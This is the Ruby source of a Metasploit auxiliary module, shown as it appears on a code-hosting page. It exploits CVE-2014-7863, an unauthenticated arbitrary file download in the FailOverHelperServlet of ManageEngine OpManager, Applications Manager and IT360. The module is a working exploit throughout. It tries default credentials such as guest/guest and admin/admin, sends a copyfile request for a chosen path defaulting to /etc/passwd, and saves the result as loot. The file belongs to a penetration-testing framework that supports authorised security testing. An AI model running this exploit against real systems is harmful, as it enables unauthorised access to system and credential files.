Path: blob/master/modules/auxiliary/admin/http/manageengine_file_download.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'ManageEngine Multiple Products Arbitrary File Download',14'Description' => %q{15This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet16on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is17unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This18module will attempt to login using the default credentials for the administrator and19guest accounts; alternatively you can provide a pre-authenticated cookie or a username20and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually218300). This module has been tested on both Windows and Linux with several different22versions. Windows paths have to be escaped with 4 backslashes on the command line. There is23a companion module that allows the recursive listing of any directory. This24vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.25},26'Author' => [27'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31['CVE', '2014-7863'],32['OSVDB', '117695'],33['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],34['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']35],36'DisclosureDate' => '2015-01-28',37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [IOC_IN_LOGS],40'Reliability' => []41}42)43)4445register_options(46[47Opt::RPORT(80),48OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),49OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),50OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),51OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),52OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),53OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])54]55)56end5758def post_auth?59true60end6162def get_cookie63cookie = nil64res = send_request_cgi({65'method' => 'GET',66'uri' => normalize_uri(datastore['TARGETURI'])67})6869if res70cookie = res.get_cookies71end7273cookie74end7576def detect_it36077res = send_request_cgi({78'uri' => '/',79'method' => 'GET'80})8182if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/83return true84end8586return false87end8889def get_it360_cookie_name90res = send_request_cgi({91'method' => 'GET',92'uri' => normalize_uri('/')93})9495cookie = res.get_cookies9697if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/98return ::Regexp.last_match(1)99else100return nil101end102end103104def authenticate_it360(port, path, username, password)105if datastore['DOMAIN_NAME'].nil?106vars_post = {107'LOGIN_ID' => username,108'PASSWORD' => password,109'isADEnabled' => 'false'110}111else112vars_post = {113'LOGIN_ID' => username,114'PASSWORD' => password,115'isADEnabled' => 'true',116'domainName' => datastore['DOMAIN_NAME']117}118end119120res = send_request_cgi({121'rport' => port,122'method' => 'POST',123'uri' => normalize_uri(path),124'vars_get' => {125'service' => 'OpManager',126'furl' => '/',127'timestamp' => Time.now.to_i128},129'vars_post' => vars_post130})131132if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/133# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"134return res.get_cookies135end136137nil138end139140def login_it360141# Do we already have a valid cookie? If yes, just return that.142unless datastore['IAMAGENTTICKET'].nil?143cookie_name = get_it360_cookie_name144cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'145return cookie146end147148# get the correct path, host and port149res = send_request_cgi({150'method' => 'GET',151'uri' => normalize_uri('/')152})153154if res && res.redirect?155uri = [ res.redirection.port, res.redirection.path ]156else157return nil158end159160if datastore['USERNAME'] && datastore['PASSWORD']161print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")162cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])163unless cookie.nil?164return cookie165end166end167168default_users = ['guest', 'administrator', 'admin']169170default_users.each do |user|171print_status("Trying to authenticate as #{user}...")172cookie = authenticate_it360(uri[0], uri[1], user, user)173unless cookie.nil?174return cookie175end176end177178nil179end180181def run182# No point to continue if filepath is not specified183if datastore['FILEPATH'].empty?184print_error('Please supply the path of the file you want to download.')185return186end187188if detect_it360189print_status('Detected IT360, attempting to login...')190cookie = login_it360191if cookie.nil?192print_error('Failed to login to IT360!')193return194end195else196cookie = get_cookie197end198199servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'200res = send_request_cgi({201'method' => 'GET',202'cookie' => cookie,203'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)204})205if res && res.code == 404206servlet = 'FailOverHelperServlet'207end208209# Create request210begin211print_status("Downloading file #{datastore['FILEPATH']}")212res = send_request_cgi({213'method' => 'POST',214'cookie' => cookie,215'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),216'vars_get' => {217'operation' => 'copyfile',218'fileName' => datastore['FILEPATH']219}220})221rescue Rex::ConnectionRefused222print_error('Could not connect.')223return224end225226# Show data if needed227if res && res.code == 200228229if res.body.to_s.bytesize == 0230print_error('0 bytes returned, file does not exist or is empty.')231return232end233234vprint_line(res.body.to_s)235fname = File.basename(datastore['FILEPATH'])236237path = store_loot(238'manageengine.http',239'application/octet-stream',240datastore['RHOST'],241res.body,242fname243)244print_good("File saved in: #{path}")245else246print_error('Failed to download file.')247end248end249end250251252